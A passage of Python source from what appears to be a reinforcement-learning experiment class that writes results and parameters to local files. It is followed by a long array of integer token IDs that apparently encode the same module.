open(os.path.join(self.exp_directory, extra_dir, str(agent)) + ".csv", "a+") out_file.write(str(datum) + ",") out_file.close() def write_exp_info_to_file(self): ''' Summary: Writes relevant experiment information to a file for reproducibility. ''' out_file = open(os.path.join(self.exp_directory, Experiment.EXP_PARAM_FILE_NAME), "w+") to_write_to_file = self._get_exp_file_string() out_file.write(to_write_to_file) out_file.close() def _get_exp_file_string(self): ''' Returns: (str): contains the AGENT-names, the MDP-names, and PARAMETER-information. ''' mdp_text = "(Markov Game MDP)" if self.is_markov_game else "(MDP)" mdp_string = mdp_text + "\n\t" + self.name + "\n" agent_string = "(Agents)\n" for i, agent in enumerate(self.agents): agent_string += "\t" + str(agent) + "," + str(self.agent_colors[i]) + "\n" param_string = "(Params)" + str(self.parameters) + "\n" return mdp_string + agent_string + param_string def __str__(self): return self._get_exp_file_string()
[ 1, 14550, 13, 1252, 15362, 2385, 29889, 2272, 29901, 2866, 2708, 278, 1222, 15362, 4134, 363, 9483, 3277, 390, 29931, 28224, 7862, 29889, 13, 13, 29925, 332, 4220, 29901, 13, 1678, 448, 624, 2361, 599, 8018, 4128, 297, 7639, 3884, 363, 4780, 9483, 455, 29890, 1793, 29889, 13, 1678, 448, 11133, 16785, 6492, 773, 8727, 29918, 13239, 29889, 13, 1678, 448, 1815, 1842, 6509, 6354, 29889, 13, 12008, 13, 13, 29937, 5132, 24802, 29889, 13, 3166, 4770, 29888, 9130, 1649, 1053, 1596, 29918, 2220, 13, 5215, 2897, 13, 3166, 16250, 1053, 2322, 8977, 13, 13, 29937, 5901, 24802, 29889, 13, 3166, 2560, 29918, 2096, 29889, 13239, 1053, 8727, 29918, 13239, 13, 3166, 2560, 29918, 2096, 29889, 735, 546, 7862, 29889, 1252, 15362, 11507, 2385, 1053, 1222, 15362, 11507, 13, 13, 1990, 1222, 15362, 29898, 3318, 1125, 13, 13, 1678, 383, 3299, 29918, 5746, 29925, 29918, 7724, 29918, 5813, 353, 376, 8159, 29918, 735, 15362, 29918, 1272, 29889, 3126, 29908, 13, 1678, 8528, 29925, 29918, 16320, 5194, 29918, 7724, 29918, 5813, 353, 376, 949, 519, 29918, 735, 15362, 29918, 1272, 29889, 3945, 29908, 13, 13, 1678, 14550, 1222, 15362, 4134, 363, 390, 29931, 28224, 7862, 14550, 13, 13, 1678, 396, 360, 17204, 278, 2582, 297, 263, 3884, 2000, 376, 9902, 29908, 297, 278, 1857, 1985, 4516, 29889, 13, 1678, 390, 2890, 8647, 29903, 29918, 9464, 353, 2897, 29889, 2084, 29889, 7122, 29898, 359, 29889, 657, 29883, 9970, 3285, 376, 9902, 613, 20569, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 13, 462, 1678, 19518, 29892, 13, 462, 1678, 286, 6099, 29892, 13, 462, 1678, 10823, 29918, 27703, 11759, 1402, 13, 462, 1678, 8636, 29922, 8516, 29892, 13, 462, 1678, 338, 29918, 1022, 275, 397, 293, 29922, 8824, 29892, 13, 462, 1678, 338, 29918, 3502, 586, 29918, 11802, 29922, 8824, 29892, 13, 462, 1678, 338, 29918, 29880, 361, 295, 549, 29922, 8824, 29892, 13, 462, 1678, 5702, 29918, 2218, 29883, 29918, 276, 1328, 29922, 8824, 29892, 13, 462, 1678, 2821, 29918, 1025, 29918, 9902, 29922, 5574, 29892, 13, 462, 1678, 2302, 29918, 29878, 29918, 546, 29918, 29876, 29918, 9346, 342, 1022, 29922, 29896, 29892, 13, 462, 1678, 13299, 28524, 29918, 5317, 29922, 5574, 29892, 13, 462, 1678, 1518, 29918, 2220, 543, 3389, 29918, 351, 1237, 29918, 265, 29918, 3487, 29886, 613, 13, 462, 1678, 4516, 29918, 1454, 29918, 5317, 543, 613, 13, 462, 1678, 7639, 29918, 978, 29918, 13506, 543, 613, 13, 462, 1678, 5702, 29918, 8698, 29922, 8824, 29892, 13, 462, 1678, 2551, 29918, 276, 1328, 29922, 8516, 1125, 13, 4706, 14550, 13, 4706, 826, 3174, 29901, 13, 9651, 19518, 313, 1761, 29897, 13, 9651, 286, 6099, 313, 5773, 29925, 29897, 13, 9651, 10823, 29918, 27703, 313, 1761, 29897, 13, 9651, 8636, 313, 8977, 29897, 13, 9651, 338, 29918, 1022, 275, 397, 293, 313, 11227, 29897, 13, 9651, 338, 29918, 3502, 586, 29918, 11802, 313, 11227, 29897, 13, 9651, 338, 29918, 29880, 361, 295, 549, 313, 11227, 29897, 13, 9651, 2821, 29918, 1025, 29918, 9902, 313, 11227, 29897, 13, 9651, 2302, 29918, 29878, 29918, 546, 29918, 29876, 29918, 9346, 342, 1022, 313, 524, 29897, 13, 9651, 13299, 28524, 29918, 5317, 313, 11227, 29897, 13, 9651, 1518, 29918, 2220, 313, 2892, 1125, 16257, 411, 1065, 29918, 735, 546, 7862, 29889, 2272, 740, 471, 2000, 29889, 13, 9651, 4516, 29918, 1454, 29918, 5317, 313, 710, 29897, 13, 9651, 7639, 29918, 978, 29918, 13506, 313, 710, 29897, 13, 9651, 5702, 29918, 8698, 313, 11227, 29897, 13, 9651, 2551, 29918, 276, 1328, 313, 524, 29897, 13, 4706, 14550, 13, 4706, 396, 14491, 599, 8018, 1045, 3775, 29889, 13, 4706, 1583, 29889, 351, 1237, 353, 19518, 13, 4706, 1583, 29889, 14748, 29918, 27703, 353, 3464, 29898, 2435, 29898, 1311, 29889, 351, 1237, 876, 565, 10823, 29918, 27703, 1275, 5159, 1683, 10823, 29918, 27703, 13, 4706, 8636, 3366, 11294, 29918, 2218, 29883, 29918, 276, 1328, 3108, 353, 5702, 29918, 2218, 29883, 29918, 276, 1328, 13, 4706, 1583, 29889, 16744, 353, 1222, 15362, 11507, 29898, 7529, 29897, 13, 4706, 1583, 29889, 3487, 29886, 353, 286, 6099, 13, 4706, 1583, 29889, 11294, 29918, 2218, 29883, 29918, 276, 1328, 353, 5702, 29918, 2218, 29883, 29918, 276, 1328, 13, 4706, 1583, 29889, 2798, 29918, 29878, 29918, 546, 29918, 29876, 29918, 9346, 342, 1022, 353, 2302, 29918, 29878, 29918, 546, 29918, 29876, 29918, 9346, 342, 1022, 13, 4706, 1583, 29889, 24530, 29918, 16076, 29918, 23959, 29918, 29878, 353, 29871, 29896, 13, 4706, 1583, 29889, 3973, 29918, 16076, 29918, 2798, 353, 29871, 29900, 13, 4706, 1583, 29889, 29883, 398, 28524, 29918, 5317, 353, 13299, 28524, 29918, 5317, 13, 4706, 1583, 29889, 978, 353, 851, 29898, 1311, 29889, 3487, 29886, 29897, 13, 4706, 1583, 29889, 276, 2935, 353, 2322, 8977, 29898, 1761, 29897, 13, 4706, 1583, 29889, 3706, 353, 2322, 8977, 29898, 1761, 29897, 13, 4706, 565, 4516, 29918, 1454, 29918, 5317, 1275, 376, 1115, 13, 9651, 1583, 29889, 4548, 29918, 12322, 353, 2897, 29889, 2084, 29889, 7122, 29898, 1252, 15362, 29889, 15989, 8647, 29903, 29918, 9464, 29892, 1583, 29889, 978, 29897, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 4548, 29918, 12322, 353, 2897, 29889, 2084, 29889, 7122, 29898, 359, 29889, 657, 29883, 9970, 3285, 4516, 29918, 1454, 29918, 5317, 29892, 1583, 29889, 978, 29897, 13, 13, 4706, 1583, 29889, 735, 15362, 29918, 978, 29918, 13506, 353, 7639, 29918, 978, 29918, 13506, 13, 4706, 1583, 29889, 275, 29918, 1022, 275, 397, 293, 353, 338, 29918, 1022, 275, 397, 293, 13, 4706, 1583, 29889, 275, 29918, 3502, 586, 29918, 11802, 353, 338, 29918, 3502, 586, 29918, 11802, 13, 4706, 1583, 29889, 11294, 29918, 8698, 353, 5702, 29918, 8698, 13, 4706, 1583, 29889, 8698, 29918, 276, 1328, 353, 2551, 29918, 276, 1328, 13, 4706, 1583, 3032, 14669, 29918, 5325, 29898, 8551, 29918, 1025, 29918, 9902, 29897, 13, 13, 4706, 396, 14350, 7639, 9483, 428, 934, 29889, 13, 4706, 1583, 3032, 5675, 29918, 392, 29918, 3539, 29918, 14748, 29918, 392, 29918, 3487, 29886, 29918, 7529, 29898, 351, 1237, 29892, 286, 6099, 29892, 1583, 29889, 16744, 29889, 7529, 29892, 1518, 29918, 2220, 29897, 13, 13, 1678, 822, 903, 5675, 29918, 392, 29918, 3539, 29918, 14748, 29918, 392, 29918, 3487, 29886, 29918, 7529, 29898, 1311, 29892, 19518, 29892, 286, 6099, 29892, 4128, 29892, 1518, 29918, 2220, 1125, 13, 4706, 14550, 13, 4706, 826, 3174, 29901, 13, 9651, 19518, 13, 9651, 286, 6099, 13, 9651, 4128, 13, 13, 4706, 6991, 5219, 29901, 13, 9651, 16849, 267, 3307, 9493, 1048, 732, 351, 1237, 29892, 732, 3487, 29886, 29892, 322, 732, 16744, 304, 278, 934, 2582, 29914, 29966, 4548, 29918, 978, 20690, 7529, 29889, 3945, 29871, 13, 9651, 577, 393, 278, 740, 2560, 29918, 2096, 29889, 3389, 29918, 735, 546, 7862, 29889, 276, 5498, 346, 29918, 3166, 29918, 4548, 29918, 1445, 508, 364, 261, 348, 278, 7639, 29889, 13, 4706, 14550, 13, 4706, 1053, 4390, 13, 13, 4706, 714, 29918, 1445, 353, 1722, 29898, 359, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4548, 29918, 12322, 29892, 1222, 15362, 29889, 29943, 3299, 29918, 5746, 29925, 29918, 7724, 29918, 5813, 511, 376, 29893, 1159, 13, 13, 4706, 565, 451, 1583, 3032, 275, 29918, 3084, 29918, 3487, 29886, 29918, 1853, 29898, 3487, 29886, 1125, 13, 9651, 1596, 703, 22709, 313, 12857, 29918, 2096, 1125, 15808, 5702, 322, 18532, 15729, 363, 341, 11191, 29879, 310, 1134, 10248, 718, 851, 29898, 1853, 29898, 3487, 29886, 876, 718, 376, 4286, 1159, 13, 9651, 736, 13, 13, 4706, 396, 360, 919, 304, 4808, 599, 7639, 5235, 304, 2436, 304, 4390, 29889, 13, 4706, 599, 29918, 4548, 29918, 3888, 29918, 8977, 353, 6571, 13, 13, 4706, 396, 341, 11191, 29889, 13, 4706, 286, 6099, 29918, 1990, 353, 851, 29898, 1853, 29898, 3487, 29886, 876, 13, 4706, 286, 6099, 29918, 7529, 353, 286, 6099, 29889, 657, 29918, 16744, 580, 13, 4706, 599, 29918, 4548, 29918, 3888, 29918, 8977, 3366, 5773, 29925, 3108, 353, 8853, 978, 1115, 3487, 29886, 29918, 1990, 29892, 376, 7529, 1115, 3487, 29886, 29918, 7529, 29913, 13, 13, 4706, 396, 3617, 19518, 322, 1009, 4128, 29889, 13, 4706, 599, 29918, 4548, 29918, 3888, 29918, 8977, 3366, 10051, 3919, 29903, 3108, 353, 2322, 8977, 29898, 2892, 29901, 2322, 8977, 29898, 710, 876, 13, 4706, 363, 474, 29892, 10823, 297, 26985, 29898, 351, 1237, 1125, 13, 9651, 10823, 29918, 7529, 353, 10823, 29889, 657, 29918, 16744, 580, 13, 9651, 10823, 29918, 1990, 353, 851, 29898, 1853, 29898, 14748, 876, 13, 9651, 599, 29918, 4548, 29918, 3888, 29918, 8977, 3366, 10051, 3919, 29903, 3108, 29961, 14748, 29918, 1990, 29962, 3366, 7529, 3108, 353, 10823, 29918, 7529, 13, 9651, 599, 29918, 4548, 29918, 3888, 29918, 8977, 3366, 10051, 3919, 29903, 3108, 29961, 14748, 29918, 1990, 29962, 3366, 2248, 3108, 353, 474, 13, 13, 4706, 396, 341, 10669, 29889, 1459, 2232, 29889, 13, 4706, 599, 29918, 4548, 29918, 3888, 29918, 8977, 3366, 29924, 3235, 29907, 3108, 353, 4128, 13, 13, 4706, 396, 6680, 2000, 29889, 13, 4706, 599, 29918, 4548, 29918, 3888, 29918, 8977, 3366, 29943, 3904, 29907, 3108, 353, 1518, 29918, 2220, 13, 13, 4706, 396, 1174, 401, 322, 3787, 29889, 13, 4706, 515, 2560, 29918, 2096, 29889, 13239, 29889, 1202, 3245, 29918, 4130, 7614, 5313, 1973, 1053, 12603, 552, 8566, 6119, 13, 4706, 2094, 6119, 353, 12603, 552, 8566, 6119, 580, 13, 4706, 848, 29918, 517, 29918, 8899, 353, 2094, 6119, 29889, 12508, 29898, 497, 29918, 4548, 29918, 3888, 29918, 8977, 29897, 13, 4706, 2254, 29918, 3977, 353, 4390, 29889, 18132, 29898, 1272, 29918, 517, 29918, 8899, 29897, 13, 4706, 4390, 29889, 15070, 29898, 1359, 29918, 3977, 29892, 714, 29918, 1445, 29892, 29536, 29922, 29946, 29897, 13, 4706, 714, 29918, 1445, 29889, 5358, 580, 13, 4706, 736, 13, 13, 1678, 822, 903, 275, 29918, 3084, 29918, 3487, 29886, 29918, 1853, 29898, 1311, 29892, 286, 6099, 1125, 13, 4706, 515, 2560, 29918, 2096, 29889, 3487, 29886, 1053, 438, 29949, 5773, 29925, 29892, 341, 11191, 13398, 3224, 13, 4706, 515, 2560, 29918, 2096, 29889, 29533, 6099, 29889, 13152, 5773, 29925, 2385, 1053, 21521, 5773, 29925, 13, 4706, 515, 2560, 29918, 2096, 29889, 3487, 29886, 29889, 3502, 586, 29918, 11802, 29889, 9802, 586, 14199, 5773, 29925, 2385, 1053, 4485, 586, 14199, 5773, 29925, 13, 4706, 515, 2560, 29918, 2096, 29889, 20673, 1053, 5158, 277, 5773, 29925, 13, 13, 4706, 565, 338, 8758, 29898, 3487, 29886, 29892, 438, 29949, 5773, 29925, 29897, 320, 13, 9651, 470, 338, 8758, 29898, 3487, 29886, 29892, 21521, 5773, 29925, 29897, 320, 13, 9651, 470, 338, 8758, 29898, 3487, 29886, 29892, 4485, 586, 14199, 5773, 29925, 29897, 320, 13, 9651, 470, 338, 8758, 29898, 3487, 29886, 29892, 341, 11191, 13398, 3224, 29897, 320, 13, 9651, 470, 338, 8758, 29898, 3487, 29886, 29892, 5158, 277, 5773, 29925, 1125, 13, 9651, 736, 7700, 13, 13, 4706, 736, 5852, 13, 13, 1678, 822, 903, 14669, 29918, 5325, 29898, 1311, 29892, 2821, 29918, 1025, 29918, 9902, 29922, 5574, 1125, 13, 4706, 14550, 13, 4706, 6991, 5219, 29901, 13, 9651, 6760, 1078, 322, 25388, 8018, 17525, 29914, 5325, 29889, 13, 4706, 14550, 13, 4706, 565, 451, 2897, 29889, 2084, 29889, 9933, 29898, 359, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4548, 29918, 12322, 29892, 5124, 22164, 13, 9651, 2897, 29889, 29885, 12535, 12935, 29898, 1311, 29889, 4548, 29918, 12322, 29897, 13, 4706, 25342, 2821, 29918, 1025, 29918, 9902, 29901, 13, 9651, 363, 10823, 297, 1583, 29889, 351, 1237, 29901, 13, 18884, 565, 2897, 29889, 2084, 29889, 9933, 29898, 359, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4548, 29918, 12322, 29892, 851, 29898, 14748, 876, 718, 11393, 7638, 29908, 1125, 13, 462, 1678, 2897, 29889, 5992, 29898, 359, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4548, 29918, 12322, 29892, 851, 29898, 14748, 876, 718, 11393, 7638, 1159, 13, 18884, 565, 2897, 29889, 2084, 29889, 9933, 29898, 359, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4548, 29918, 12322, 29892, 376, 3706, 613, 851, 29898, 14748, 876, 718, 11393, 7638, 29908, 1125, 13, 462, 1678, 2897, 29889, 5992, 29898, 359, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4548, 29918, 12322, 29892, 376, 3706, 613, 851, 29898, 14748, 876, 718, 11393, 7638, 1159, 13, 18884, 565, 2897, 29889, 2084, 29889, 9933, 29898, 359, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4548, 29918, 12322, 29892, 376, 8698, 613, 851, 29898, 14748, 876, 718, 11393, 7638, 29908, 1125, 13, 462, 1678, 2897, 29889, 5992, 29898, 359, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4548, 29918, 12322, 29892, 376, 8698, 613, 851, 29898, 14748, 876, 718, 11393, 7638, 1159, 13, 4706, 1583, 29889, 3539, 29918, 4548, 29918, 3888, 29918, 517, 29918, 1445, 580, 13, 13, 1678, 822, 1207, 29918, 26762, 29898, 1311, 29892, 1722, 29918, 5317, 29922, 5574, 1125, 13, 4706, 14550, 13, 4706, 6991, 5219, 29901, 13, 9651, 341, 6926, 24580, 363, 278, 1857, 7639, 29889, 13, 4706, 14550, 13, 4706, 565, 1583, 29889, 275, 29918, 3502, 586, 29918, 11802, 29901, 13, 9651, 10823, 29918, 978, 29918, 3137, 353, 518, 14748, 29918, 978, 363, 10823, 29918, 978, 297, 1583, 29889, 351, 1237, 29889, 8149, 580, 29962, 13, 4706, 1683, 29901, 13, 9651, 10823, 29918, 978, 29918, 3137, 353, 518, 29874, 29889, 657, 29918, 978, 580, 363, 263, 297, 1583, 29889, 351, 1237, 29962, 13, 632, 13, 4706, 565, 1583, 29889, 735, 15362, 29918, 978, 29918, 13506, 2804, 376, 1115, 13, 9651, 6492, 29918, 1445, 29918, 978, 353, 1583, 29889, 735, 15362, 29918, 978, 29918, 13506, 718, 851, 29898, 1311, 29889, 3487, 29886, 29897, 13, 4706, 1683, 29901, 13, 9651, 6492, 29918, 1445, 29918, 978, 353, 5124, 13, 13, 4706, 8727, 29918, 13239, 29889, 5675, 29918, 26762, 29898, 1311, 29889, 4548, 29918, 12322, 29892, 10823, 29918, 978, 29918, 3137, 29892, 13, 462, 18884, 6010, 397, 293, 29922, 1311, 29889, 275, 29918, 1022, 275, 397, 293, 29892, 13, 462, 18884, 6492, 29918, 1445, 29918, 978, 29922, 5317, 29918, 1445, 29918, 978, 29892, 13, 462, 18884, 13299, 28524, 29922, 1311, 29889, 29883, 398, 28524, 29918, 5317, 29892, 13, 462, 18884, 5702, 29918, 2218, 29883, 29918, 276, 1328, 29922, 1311, 29889, 11294, 29918, 2218, 29883, 29918, 276, 1328, 29892, 13, 462, 18884, 1722, 29918, 5317, 29922, 3150, 29918, 5317, 29897, 13, 13, 4706, 565, 1583, 29889, 11294, 29918, 8698, 29901, 13, 9651, 1596, 29898, 359, 29889, 2084, 29889, 7122, 703, 8698, 613, 1583, 29889, 4548, 29918, 12322, 876, 13, 9651, 8727, 29918, 13239, 29889, 5675, 29918, 26762, 29898, 359, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4548, 29918, 12322, 29892, 376, 8698, 4968, 10823, 29918, 978, 29918, 3137, 29892, 13, 462, 18884, 6010, 397, 293, 29922, 5574, 29892, 13, 462, 18884, 6492, 29918, 1445, 29918, 978, 543, 8698, 29918, 10492, 613, 13, 462, 18884, 13299, 28524, 29922, 8824, 29892, 13, 462, 18884, 5702, 29918, 2218, 29883, 29918, 276, 1328, 29922, 8824, 29892, 13, 462, 18884, 1722, 29918, 5317, 29922, 3150, 29918, 5317, 29892, 13, 462, 18884, 716, 29918, 3257, 543, 14191, 390, 403, 613, 13, 462, 18884, 716, 29918, 29916, 29918, 1643, 543, 29923, 12907, 9681, 613, 13, 462, 18884, 716, 29918, 29891, 29918, 1643, 543, 12810, 29887, 29889, 21397, 1273, 1159, 13, 13, 1678, 822, 903, 3539, 29918, 17833, 29918, 4130, 398, 29918, 517, 29918, 1445, 29898, 1311, 29892, 286, 6099, 29918, 978, 29892, 10823, 29892, 1418, 398, 29892, 1418, 398, 29918, 978, 1125, 13, 4706, 714, 29918, 1445, 353, 1722, 29898, 359, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4548, 29918, 12322, 29892, 851, 29898, 14748, 876, 718, 11663, 29908, 718, 1418, 398, 29918, 978, 718, 11393, 7638, 613, 376, 29874, 29974, 1159, 13, 4706, 714, 29918, 1445, 29889, 3539, 29898, 710, 29898, 4130, 398, 29897, 718, 9162, 1159, 13, 4706, 714, 29918, 1445, 29889, 5358, 580, 13, 13, 1678, 822, 679, 29918, 14748, 29918, 485, 29887, 29918, 29883, 398, 28524, 29918, 3973, 29898, 1311, 29892, 10823, 1125, 13, 4706, 1121, 29918, 1445, 353, 1722, 29898, 359, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4548, 29918, 12322, 29892, 851, 29898, 14748, 876, 718, 11393, 7638, 613, 376, 29878, 1159, 13, 308, 13, 4706, 3001, 353, 29871, 29900, 13, 4706, 954, 29918, 9012, 353, 29871, 29900, 13, 4706, 363, 1196, 297, 1121, 29918, 1445, 29889, 949, 9012, 7295, 13, 9651, 3001, 4619, 2533, 4197, 7411, 29898, 4130, 398, 29897, 363, 1418, 398, 297, 1196, 29889, 17010, 2141, 5451, 28165, 1159, 7503, 29899, 29896, 24960, 13, 9651, 954, 29918, 9012, 4619, 29871, 29896, 13, 13, 4706, 1121, 29918, 1445, 29889, 5358, 580, 13, 13, 4706, 736, 3001, 847, 954, 29918, 9012, 13, 13, 1678, 822, 788, 29918, 735, 546, 5597, 29898, 1311, 29892, 10823, 29892, 2106, 29892, 3158, 29892, 20751, 29892, 2446, 29918, 3859, 29892, 931, 29918, 29873, 9424, 29922, 29900, 1125, 13, 4706, 14550, 13, 4706, 826, 3174, 29901, 13, 9651, 10823, 313, 14748, 6323, 9657, 1125, 565, 1583, 29889, 275, 29918, 3502, 586, 29918, 11802, 29892, 3743, 263, 9657, 310, 19518, 13, 13, 4706, 6991, 5219, 29901, 13, 9651, 14164, 738, 8018, 2472, 1048, 445, 7271, 29889, 13, 4706, 14550, 13, 13, 4706, 396, 4485, 586, 8448, 29889, 13, 4706, 565, 1583, 29889, 275, 29918, 3502, 586, 29918, 11802, 29901, 13, 9651, 363, 263, 297, 10823, 29901, 13, 18884, 1583, 29889, 276, 2935, 29961, 29874, 29962, 4619, 518, 276, 1328, 29961, 29874, 5262, 13, 9651, 736, 13, 13, 4706, 396, 2169, 1070, 341, 11191, 29889, 13, 4706, 565, 1583, 29889, 24530, 29918, 16076, 29918, 23959, 29918, 29878, 1273, 1583, 29889, 2798, 29918, 29878, 29918, 546, 29918, 29876, 29918, 9346, 342, 1022, 1275, 29871, 29900, 29901, 13, 9651, 565, 1583, 29889, 275, 29918, 3502, 586, 29918, 11802, 322, 1583, 29889, 2798, 29918, 29878, 29918, 546, 29918, 29876, 29918, 9346, 342, 1022, 1405, 29871, 29896, 29901, 13, 18884, 12020, 7865, 2392, 703, 29898, 12857, 29918, 2096, 29897, 1222, 15362, 4829, 29901, 508, 29915, 29873, 5702, 2791, 586, 8090, 639, 4331, 29889, 313, 842, 337, 29893, 29918, 10568, 29918, 2798, 304, 29871, 29896, 467, 1159, 13, 9651, 1683, 29901, 13, 18884, 1583, 29889, 276, 2935, 29961, 14748, 29962, 4619, 518, 1311, 29889, 3973, 29918, 16076, 29918, 2798, 718, 20751, 29962, 13, 18884, 1583, 29889, 3706, 29961, 14748, 29962, 4619, 518, 2230, 29918, 29873, 9424, 29962, 13, 18884, 1583, 29889, 3973, 29918, 16076, 29918, 2798, 353, 29871, 29900, 13, 9651, 1583, 29889, 24530, 29918, 16076, 29918, 23959, 29918, 29878, 353, 29871, 29896, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 3973, 29918, 16076, 29918, 2798, 4619, 20751, 13, 9651, 1583, 29889, 24530, 29918, 16076, 29918, 23959, 29918, 29878, 4619, 29871, 29896, 13, 13, 1678, 822, 1095, 29918, 974, 29918, 1022, 275, 356, 29898, 1311, 29892, 10823, 29892, 954, 29918, 3706, 29918, 517, 29918, 3539, 29922, 29896, 1125, 13, 4706, 14550, 13, 4706, 826, 3174, 29901, 13, 9651, 10823, 313, 710, 29897, 13, 13, 4706, 6991, 5219, 29901, 13, 9651, 16849, 267, 20751, 848, 515, 445, 12720, 304, 934, 322, 620, 1691, 278, 20751, 29889, 13, 4706, 14550, 13, 4706, 565, 1583, 29889, 275, 29918, 1022, 275, 397, 293, 29901, 13, 9651, 363, 921, 297, 3464, 29898, 1949, 29918, 3706, 29918, 517, 29918, 3539, 1125, 13, 18884, 1583, 29889, 3539, 29918, 4130, 398, 29918, 517, 29918, 1445, 29898, 14748, 29892, 2533, 29898, 1311, 29889, 276, 2935, 29961, 14748, 12622, 13, 18884, 1583, 29889, 3539, 29918, 4130, 398, 29918, 517, 29918, 1445, 29898, 14748, 29892, 2533, 29898, 1311, 29889, 3706, 29961, 14748, 11724, 4805, 29918, 3972, 543, 3706, 29914, 1159, 13, 18884, 565, 1583, 29889, 11294, 29918, 8698, 29901, 13, 462, 1678, 1583, 29889, 3539, 29918, 4130, 398, 29918, 517, 29918, 1445, 29898, 14748, 29892, 938, 29898, 1311, 29889, 276, 2935, 29961, 14748, 3816, 29899, 29896, 29962, 6736, 1583, 29889, 8698, 29918, 276, 1328, 511, 4805, 29918, 3972, 543, 8698, 29914, 1159, 13, 4706, 1683, 29901, 13, 9651, 363, 921, 297, 3464, 29898, 1949, 29918, 3706, 29918, 517, 29918, 3539, 1125, 13, 18884, 363, 4331, 29918, 276, 1328, 297, 1583, 29889, 276, 2935, 29961, 14748, 5387, 13, 462, 1678, 1583, 29889, 3539, 29918, 4130, 398, 29918, 517, 29918, 1445, 29898, 14748, 29892, 4331, 29918, 276, 1328, 29897, 13, 4706, 1583, 29889, 276, 2935, 29961, 14748, 29962, 353, 5159, 13, 13, 1678, 822, 1095, 29918, 974, 29918, 8758, 29898, 1311, 29892, 10823, 1125, 13, 4706, 14550, 13, 4706, 6991, 5219, 29901, 13, 9651, 3462, 29879, 263, 716, 1196, 304, 12266, 591, 29915, 276, 11480, 263, 716, 2777, 29889, 13, 4706, 14550, 13, 4706, 396, 13, 4706, 714, 29918, 1445, 353, 1722, 29898, 359, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4548, 29918, 12322, 29892, 851, 29898, 14748, 876, 718, 11393, 7638, 613, 376, 29874, 29974, 1159, 13, 4706, 714, 29918, 1445, 29889, 3539, 14182, 29876, 1159, 13, 4706, 714, 29918, 1445, 29889, 5358, 580, 13, 13, 4706, 565, 1583, 29889, 11294, 29918, 8698, 29901, 13, 9651, 714, 29918, 1445, 353, 1722, 29898, 359, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4548, 29918, 12322, 29892, 376, 8698, 613, 851, 29898, 14748, 876, 718, 11393, 7638, 613, 376, 29874, 29974, 1159, 13, 9651, 714, 29918, 1445, 29889, 3539, 14182, 29876, 1159, 13, 9651, 714, 29918, 1445, 29889, 5358, 580, 13, 13, 4706, 565, 2897, 29889, 2084, 29889, 275, 3972, 29898, 359, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4548, 29918, 12322, 29892, 376, 3706, 613, 5124, 22164, 13, 9651, 714, 29918, 1445, 353, 1722, 29898, 359, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4548, 29918, 12322, 29892, 376, 3706, 613, 851, 29898, 14748, 876, 718, 11393, 7638, 613, 376, 29874, 29974, 1159, 13, 9651, 714, 29918, 1445, 29889, 3539, 14182, 29876, 1159, 13, 9651, 714, 29918, 1445, 29889, 5358, 580, 13, 13, 1678, 822, 2436, 29918, 4130, 398, 29918, 517, 29918, 1445, 29898, 1311, 29892, 10823, 29892, 1418, 398, 29892, 4805, 29918, 3972, 13776, 1125, 13, 4706, 14550, 13, 4706, 6991, 5219, 29901, 13, 9651, 16849, 267, 1418, 398, 304, 934, 29889, 13, 4706, 14550, 13, 4706, 565, 4805, 29918, 3972, 2804, 5124, 322, 451, 2897, 29889, 2084, 29889, 275, 3972, 29898, 1311, 29889, 4548, 29918, 12322, 718, 5591, 29908, 718, 4805, 29918, 3972, 1125, 13, 9651, 2897, 29889, 29885, 12535, 12935, 29898, 359, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4548, 29918, 12322, 29892, 4805, 29918, 3972, 876, 13, 4706, 714, 29918, 1445, 353, 1722, 29898, 359, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4548, 29918, 12322, 29892, 4805, 29918, 3972, 29892, 851, 29898, 14748, 876, 718, 11393, 7638, 613, 376, 29874, 29974, 1159, 13, 4706, 714, 29918, 1445, 29889, 3539, 29898, 710, 29898, 4130, 398, 29897, 718, 9162, 1159, 13, 4706, 714, 29918, 1445, 29889, 5358, 580, 13, 13, 1678, 822, 2436, 29918, 4548, 29918, 3888, 29918, 517, 29918, 1445, 29898, 1311, 1125, 13, 4706, 14550, 13, 4706, 6991, 5219, 29901, 13, 9651, 16849, 267, 8018, 7639, 2472, 304, 263, 934, 363, 9483, 455, 29890, 1793, 29889, 13, 4706, 14550, 13, 4706, 714, 29918, 1445, 353, 1722, 29898, 359, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 4548, 29918, 12322, 29892, 1222, 15362, 29889, 5746, 29925, 29918, 16320, 5194, 29918, 7724, 29918, 5813, 511, 376, 29893, 29974, 1159, 13, 4706, 304, 29918, 3539, 29918, 517, 29918, 1445, 353, 1583, 3032, 657, 29918, 4548, 29918, 1445, 29918, 1807, 580, 13, 4706, 714, 29918, 1445, 29889, 3539, 29898, 517, 29918, 3539, 29918, 517, 29918, 1445, 29897, 13, 4706, 714, 29918, 1445, 29889, 5358, 580, 13, 13, 1678, 822, 903, 657, 29918, 4548, 29918, 1445, 29918, 1807, 29898, 1311, 1125, 13, 4706, 14550, 13, 4706, 16969, 29901, 13, 9651, 313, 710, 1125, 3743, 278, 16369, 3919, 29899, 7039, 29892, 278, 341, 11191, 29899, 7039, 29892, 322, 349, 1718, 25797, 4945, 29899, 19678, 29889, 13, 4706, 14550, 13, 4706, 286, 6099, 29918, 726, 353, 18227, 9802, 586, 8448, 341, 11191, 5513, 565, 1583, 29889, 275, 29918, 3502, 586, 29918, 11802, 1683, 18227, 5773, 29925, 5513, 13, 4706, 286, 6099, 29918, 1807, 353, 286, 6099, 29918, 726, 718, 6634, 29876, 29905, 29873, 29908, 718, 1583, 29889, 978, 718, 6634, 29876, 